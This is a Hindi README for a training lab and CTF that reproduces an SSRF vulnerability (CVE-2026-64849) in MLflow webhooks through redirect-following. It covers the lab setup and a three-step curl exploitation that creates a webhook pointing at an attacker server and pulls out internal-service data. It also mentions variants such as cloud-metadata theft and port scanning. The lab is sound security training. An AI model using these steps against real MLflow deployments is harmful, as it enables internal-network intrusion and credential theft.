सुरक्षा प्रयोगशाला — MLflow वेबहुक्स में SSRF का शोषण

CVE-2026-64849 · MLflow < 3.15.0 · सर्वर-साइड रिक्वेस्ट फोर्जरी (SSRF)

व्यावहारिक प्रयोगशाला जो CVE-2026-64849 को पुन: प्रस्तुत करती है: MLflow में एक SSRF प्रकार की भेद्यता जो वेबहुक्स के प्रबंधन में TOCTOU (Time-of-Check / Time-of-Use) दोष के कारण उत्पन्न होती है। MLflow वेबहुक के मूल URL को मान्य करता है लेकिन HTTP रीडायरेक्ट्स (302) का अनुसरण करता है बिना पुनः-मान्य किए गंतव्य को, जिससे एक बिना प्रमाणीकरण वाला हमलावर आंतरिक सेवाओं तक पहुँच सकता है जिन तक उसे पहुँच नहीं होनी चाहिए (internal-service:8888)।

प्रतिबंधित उपयोग: प्रयोगशाला सामग्री, केवल अधिकृत नेटवर्क और वातावरण के लिए। देखें कानूनी नोटिस।

1. कार्यकारी सारांश

विशेषता	मान
भेद्यता	CVE-2026-64849 — वेबहुक रीडायरेक्ट बायपास के माध्यम से SSRF
प्रभावित घटक	MLflow ट्रैकिंग सर्वर (`< 3.15.0`)
लैब संस्करण	MLflow 3.13.0 (बिना संशोधित, `pip install` के माध्यम से)
मूल कारण	TOCTOU: URL को मान्य करता है, पुनः-मान्य किए बिना 302 का अनुसरण करता है
वेक्टर	HTTP; बिना प्रमाणीकरण
घोषित गंभीरता	CRITICAL (CVSS 9.3) — लैब एक्सप्लॉइट बैनर के अनुसार
परिणाम	आंतरिक सेवाओं तक पहुँच, क्रेडेंशियल चोरी, पोर्ट स्कैनिंग
अनुमानित अवधि	15–20 मिनट
स्तर	मध्यवर्ती (वेब ऐप सुरक्षा / आक्रामक सुरक्षा)

2. भेद्यता का विवरण

MLflow वेबहुक्स को पंजीकृत करने की अनुमति देता है जो घटनाओं पर HTTP अनुरोधों को ट्रिगर करते हैं (मॉडल डेटा, प्रयोग, आदि)। URL को सहेजने से पहले एक सत्यापन लागू किया जाता है (स्कीमा, निजी IPs, IP मेटाडेटा)। दोष इसलिए होता है क्योंकि:

Time-of-Check: MLflow वेबहुक के मूल URL को मान्य करता है → पास हो जाता है।
Time-of-Use: अनुरोध के दौरान, यदि प्रतिक्रिया 3xx है, तो लाइब्रेरी requests स्वचालित रूप से रीडायरेक्ट का अनुसरण करती है और वे गंतव्य URL को कभी पुनः-मान्य नहीं करते।

हमलावर पहले हॉप को नियंत्रित करता है (एक सर्वर जो आंतरिक सेवा के लिए 302 का जवाब देता है) और MLflow आंतरिक नेटवर्क के लिए प्रॉक्सी का कार्य करता है।

पूर्ण तकनीकी विश्लेषण देखें EXPLOITATION_GUIDE.md §6 में।

3. सीखने के उद्देश्य

लैब पूरा करने पर छात्र निम्न में सक्षम होगा:

पहचानना पुनः-मान्यता के बिना रीडायरेक्ट अनुसरण के कारण होने वाले SSRF को (TOCTOU)।
पुनः निर्माण करना पूर्ण प्रवाह: वेबहुक पंजीकरण, /test ट्रिगर और आंतरिक सेवा का डेटा निष्कासन।
अंतर करना "स्पष्ट" सत्यापन (Time-of-Check) और वास्तविक उपयोग के बीच (Time-of-Use)।
निष्पादित करना हमले की विविधताएँ: अन्य एंडपॉइंट्स का डेटा निष्कासन, क्लाउड मेटाडेटा (IMDS), ब्लाइंड SSRF/पोर्ट स्कैनिंग, सार्वजनिक रीडायरेक्टर और DNS रीबाइंडिंग (सैद्धांतिक)।
लागू करना उपचार: MLflow ≥ 3.15.0 में अपडेट, प्रमाणीकरण और नेटवर्क नियंत्रण।

4. लक्षित दर्शक और पूर्वापेक्षाएँ

दर्शक: आक्रामक सुरक्षा के छात्र और पेशेवर, पेंटेस्टर, एप्लिकेशन सुरक्षा समीक्षक, और MLflow का उपयोग करने वाले डेवलपर्स।

सॉफ़्टवेयर आवश्यकताएँ:

उपकरण	न्यूनतम संस्करण
Docker + Docker Compose	Docker 20.x / Compose v2
`curl`	—
`jq`	1.6+
`bash`	—

MLflow में कोई क्रेडेंशियल या प्रमाणीकरण आवश्यक नहीं है (हमला बिना प्रमाणीकरण वाला है)। आंतरिक नेटवर्क तक पहुँच आवश्यक नहीं है: लैब इसे प्रदान करता है।

5. आर्किटेक्चर और टोपोलॉजी

                 होस्ट                                   आंतरिक Docker नेटवर्क (lab_network)
┌──────────────────────────────┐   ┌────────────────────────────────────────────────┐
│  हमलावर (curl / bash)       │   │                                                │
│       │                      │   │   mlflow-vulnerable      attacker_server       │
│       ▼                      │   │   (5000, MLflow 3.13.0)  (8080, responder 302) │
│ http://localhost:5000        │   │        │  वेबहुक URL         ▲                │
│ http://localhost:8080        │   │        ▼───────────────────────┘                │
│ http://localhost:8888 ✗      │   │        │ 302 Location: internal-service         │
│                              │   │        ▼  (SSRF, रीडायरेक्ट का अनुसरण करता है) │
│                              │   │   internal-service (8888)   ← होस्ट के लिए कोई │
│                              │   │        "/admin/secret"           पोर्ट नहीं    │
│                              │   └────────────────────────────────────────────────┘
└──────────────────────────────┘

घटक	पोर्ट	लैब में भूमिका	संशोधित?
`mlflow-vulnerable`	5000	पीड़ित / भेद्य क्लाइंट (MLflow 3.13.0 स्टॉक)	नहीं
`attacker-server`	8080	हमलावर का सर्वर: `/webhook` → 302, `/redirect?url=`, `/metadata`, डैशबोर्ड	केवल `do_HEAD`
`internal-service`	8888	`lab_network` में पीड़ित; `/admin/secret` और `/api/internal/config`	नहीं

अखंडता विवरण: भेद्य सेवा और आंतरिक सेवा को संशोधित नहीं किया गया है। देखें EXPLOITATION_GUIDE.md §14।

6. त्वरित प्रारंभ (सेटअप + स्वचालित शोषण)

cd mlflow-ssrf-lab
bash run_lab.sh start      # 3 कंटेनर उठाता है और MLflow की प्रतीक्षा करता है
bash run_lab.sh exploit    # स्वचालित रूप से शोषण करता है (SSRF → स्तर 1 का फ्लैग)

चरण-दर-चरण निर्देशित डेमो (इंटरैक्टिव मेनू):

bash manual_exploitation_interactive.sh

🏁 CTF मोड (मैनुअल समाधान): लैब स्तरों वाली एक चुनौती है। प्रत्येक फ्लैग आपको अगले स्तर का सुराग देता है, इस प्रकार प्रत्येक फ्लैग तक पहुँचना "समझ में आता है"। और मज़ा इसे हाथ से करने में है: ctf_lab.sh आपके लिए शोषण नहीं करता, केवल मार्गदर्शन करता है और आपके फ्लैग को मान्य करता है:

bash ctf_lab.sh            # CTF का इंटरैक्टिव मेनू
bash ctf_lab.sh nivel 1    # स्तर के निर्देश + सुराग (आपको स्वयं MANUALLY चलाने के लिए कमांड)
bash ctf_lab.sh flag '<flag>'   # आपके द्वारा निकाले और डिकोड किए गए फ्लैग को मान्य करें (+अंक)
bash ctf_lab.sh status     # पूर्ण किए गए स्तर + स्कोर (235 अंक, फ्लैग दिखाए बिना)
bash ctf_lab.sh hint 2     # एक स्तर का सुराग
bash ctf_lab.sh reset      # प्रगति मिटाएँ

run_lab.sh स्क्रिप्ट के संदर्भ:

bash run_lab.sh start     # start (डिफ़ॉल्ट) + स्थिति एंडपॉइंट
bash run_lab.sh exploit   # mlflow कंटेनर के अंदर exploit.py चलाता है
bash run_lab.sh manual    # चरण-दर-चरण curl कमांड दिखाता है
bash run_lab.sh logs      # वास्तविक समय में लॉग का अनुसरण करता है
bash run_lab.sh stop      # कंटेनर रोकता है
bash run_lab.sh clean     # लैब डेटा रोकता है और हटाता है

7. शोषण प्रक्रिया (3 कमांड)

/test के सभी कॉल के लिए हेडर Content-Type: application/json आवश्यक है; इसके बिना, MLflow 3.13 400 Bad Request का जवाब देता है।

# 1. हमलावर के सर्वर की ओर इशारा करते हुए वेबहुक बनाएँ (आंतरिक पोर्टल की जड़ पर रीडायरेक्ट करता है, स्तर 1)
WEBHOOK_ID=$(curl -s -X POST http://localhost:5000/api/2.0/mlflow/webhooks \
  -H "Content-Type: application/json" \
  -d '{"name":"ssrf_test","url":"http://attacker_server:8080/webhook","events":[{"entity":"MODEL_VERSION","action":"CREATED"}]}' \
  | jq -r '.webhook.webhook_id')

# 2. /test ट्रिगर करें → MLflow URL को मान्य करता है, आंतरिक सेवा तक 302 का अनुसरण करता है
curl -X POST "http://localhost:5000/api/2.0/mlflow/webhooks/$WEBHOOK_ID/test" \
  -H "Content-Type: application/json" -d '{}'

# 3. निकाले गए डेटा को प्राप्त करें (result.response_body में नेस्टेड)
curl -s -X POST "http://localhost:5000/api/2.0/mlflow/webhooks/$WEBHOOK_ID/test" \
  -H "Content-Type: application/json" -d '{}' \
  | jq -r '.result.response_body | fromjson'

चरण 3 का अपेक्षित परिणाम (CTF का स्तर 1):

CVE-2026-64849-poc-lab

सबसे लोकप्रिय